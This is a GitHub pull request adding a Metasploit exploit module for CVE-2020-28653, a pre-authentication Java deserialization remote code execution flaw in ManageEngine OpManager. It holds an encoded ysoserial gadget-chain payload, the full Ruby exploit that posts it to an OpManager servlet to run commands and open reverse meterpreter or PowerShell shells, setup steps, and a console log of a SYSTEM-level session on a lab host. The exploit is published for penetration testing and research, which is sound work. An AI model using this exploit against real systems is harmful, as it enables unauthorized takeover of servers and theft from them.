Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit for CVE-2020-28653 (ManageEngine OpManager RCE) #15670

Merged
merged 12 commits into from
Sep 20, 2021
11 changes: 11 additions & 0 deletions data/ysoserial_payloads.json
Original file line number Diff line number Diff line change
Expand Up @@ -317,6 +317,17 @@
},
"Wicket1": {
"status": "unsupported"
},
"frohoff/ysoserial#168": {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Named to point to frohoff/ysoserial#168 so both PRs can move forward independently of each other.

"status": "dynamic",
"lengthOffset": [
553,
1742
],
"bufferOffset": [
1743
],
"bytes": "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAnamF2YS51dGlsLkNvbGxlY3Rpb25zJFJldmVyc2VDb21wYXJhdG9yZASK8FNOStACAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpTK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAACAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyMDAwMDAwMDAwMDAwMDABAB9MeXNvc2VyaWFsL1B3bmVyMDAwMDAwMDAwMDAwMDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg="
}
},
"bash": {
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
## Vulnerable Application

### Description

An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an
arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of
the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other
products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 -
12.5.232.

### Setup (Windows)

1. Download an affected version for either Windows or Linux from the [archive][0]
1. Run the installer executable
1. Accept the default values for all settings (skip registration), until the very end when prompted to start the
application
1. Unselect the option to start the application
1. If this option is missed, just navigate to the tray icon where it will say that it's starting and select the
option to stop it
1. Start a command prompt as an administrative user
1. Navigate to `C:\Program Files\ManageEngine\OpManager\bin`, older versions use `C:\ManageEngine\OpManager\bin`
1. Run `run.bat`
1. View and accept the license terms
1. Press `f` to run the product in Free mode

OpManager should start successfully after a few minutes. At that point the service can be exploited. In this case the
session will be opened in the context of the user that ran the service with `run.bat`. Once the server is restarted and
OpManager starts automatically, the vulnerability can be exploited to open a session in the context of NT
AUTHORITY\SYSTEM.

### Setup (Linux)

1. Download an affected version for either Windows or Linux from the [archive][0]
1. Run the installer executable as root
1. Accept the default values for all settings (skip registration)
1. Navigate to `/opt/ManageEngine/OpManagerCentral/bin`
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like older Linux versions might be under the /opt/ManageEngine/OpManager/bin path, so that could be added here

1. Run `run.sh` as root

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/multi/http/opmanager_sumpdu_deserialization`
1. Set the `RHOSTS`, `TARGET`, `PAYLOAD` and payload-related options as necessary
1. Do: `run`
1. You should get a shell.

## Options

## Scenarios

### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.174

```
msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization
[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell
TARGET => Windows PowerShell
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check
[*] 192.168.159.10:8060 - The target appears to be vulnerable.
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] An HTTP session cookie has been issued
[*] The request handler has been associated with the HTTP session
[*] Sending stage (200262 bytes) to 192.168.159.10
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:50295) at 2021-09-13 16:31:45 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-3MSP8K2LCGC
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 7
Meterpreter : x64/windows
meterpreter >
```

[0]: https://archives.manageengine.com/opmanager/
4 changes: 2 additions & 2 deletions lib/msf/util/java_deserialization.rb
Original file line number Diff line number Diff line change
Expand Up @@ -11,11 +11,11 @@ class JavaDeserialization

def self.ysoserial_payload(payload_name, command=nil, modified_type: 'none')
# Open the JSON file and parse it
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
begin
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
json = JSON.parse(File.read(path))
rescue Errno::ENOENT, JSON::ParserError
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
raise RuntimeError, "Unable to load JSON data from: #{path}"
end

# Extract the specified payload type (including cmd, bash, powershell, none)
Expand Down
203 changes: 203 additions & 0 deletions modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,203 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine OpManager SumPDU Java Deserialization',
'Description' => %q{
An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to
deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS
commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This
vulnerability is also present in other products that are built on top of the OpManager application. This
vulnerability affects OpManager versions 12.1 - 12.5.232.
},
'Author' => [
'Johannes Moritz', # Original Vulnerability Research
'Robin Peraglie', # Original Vulnerability Research
'Spencer McIntyre' # Metasploit module
],
'License' => MSF_LICENSE,
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
'Platform' => [ 'win', 'linux', 'python', 'unix' ],
'References' => [
[ 'CVE', '2020-28653' ], # original CVE
# [ 'CVE', '2021-3287' ], # patch bypass
[ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ]
],
'Privileged' => true,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'win',
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'Type' => :win_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows PowerShell',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'Type' => :win_psh,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Type' => :nix_cmd
}
],
[
'Linux Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'Type' => :nix_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Python',
{
'Arch' => ARCH_PYTHON,
'Platform' => 'python',
'Type' => :python,
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
}
}
]
],
'DefaultOptions' => {
'RPORT' => 8060
},
'DefaultTarget' => 0,
'DisclosureDate' => '2021-07-26',
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Stability' => [ CRASH_SAFE ]
}
)
)

register_options([
OptString.new('TARGETURI', [ true, 'OpManager path', '/'])
])
end

def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'),
# Serialized int 1002
'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b
})
return Exploit::CheckCode::Unknown unless res
# the patched version will respond back with 200 OK and no data in the response body
return Exploit::CheckCode::Safe unless res.code == 200 && res.body.start_with?("\xac\xed\x00\x05".b)

Exploit::CheckCode::Appears
end

def exploit
# Step 1: Establish a valid HTTP session
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
unless res&.code == 200 && res.get_cookies =~ /JSESSIONID=/
fail_with(Failure::UnexpectedReply, 'Failed to establish an HTTP session')
end
print_status('An HTTP session cookie has been issued')

# Step 2: Add the requestHandler to the HTTP session
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'),
'keep_cookies' => true,
# Serialized int 1002
'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b
})
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to setup the HTTP session')
end
print_status('The request handler has been associated with the HTTP session')

# Step 3: Exploit the deserialization vulnerability to run commands
case target['Type']
when :nix_dropper
execute_cmdstager
when :win_dropper
execute_cmdstager
when :win_psh
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
else
execute_command(payload.encoded)
end
end

def execute_command(cmd, _opts = {})
# the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the
# dependency on the commons-collections library making it usable in this context
case target['Platform']
when 'python'
cmd.prepend('python -c ')
when 'win'
cmd.prepend('cmd.exe /c ')
else
cmd.gsub!(/\s+/, '${IFS}')
cmd.prepend('sh -c ')
end
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved

vprint_status("Executing command: #{cmd}")
java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet'),
'keep_cookies' => true,
'data' => [ java_payload.length ].pack('N') + java_payload
})
fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200
end
end
6 changes: 3 additions & 3 deletions tools/payloads/ysoserial/Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -23,11 +23,11 @@ RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysos
# Download ysoserial-modified
RUN wget -q https://github.com/pimps/ysoserial-modified/raw/1bd423d30ae87074f94d6b9b687c17162f122c3d/target/ysoserial-modified.jar

# Install gems: diff-lcs v1.3 (to diff the ysoserial output, v1.4 breaks the script)
# Install gems: diff-lcs v1.4.4 (to diff the ysoserial output)
# json (to print the scripts results in JSON)
# pry (to debug issues)
RUN gem install --silent diff-lcs:1.3 json pry
RUN gem install --silent diff-lcs:1.4.4 json pry

COPY find_ysoserial_offsets.rb /

CMD ruby /find_ysoserial_offsets.rb -a
ENTRYPOINT ["ruby", "/find_ysoserial_offsets.rb"]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Any context on this change? 🕵️

Copy link
Contributor Author

@zeroSteiner zeroSteiner Sep 14, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah in the "Java Deserialization Updates" section I mentioned switching the docker container and dropping runme.sh. This removes the -a flag used by runme.sh since we shouldn't be updating all payloads at once anymore and makes the script the entry point so the container can be more easily used with user specified arguments.

Admittedly once I fixed the diff-lcs 1.4 compatibility issue, I just ran the offsets tool natively on my system but I could see why some people might want to run it in docker so I kept the file and made it more flexible. Downloading specific versions of the built jars is handy to know what revision the payload data was generated with.

Loading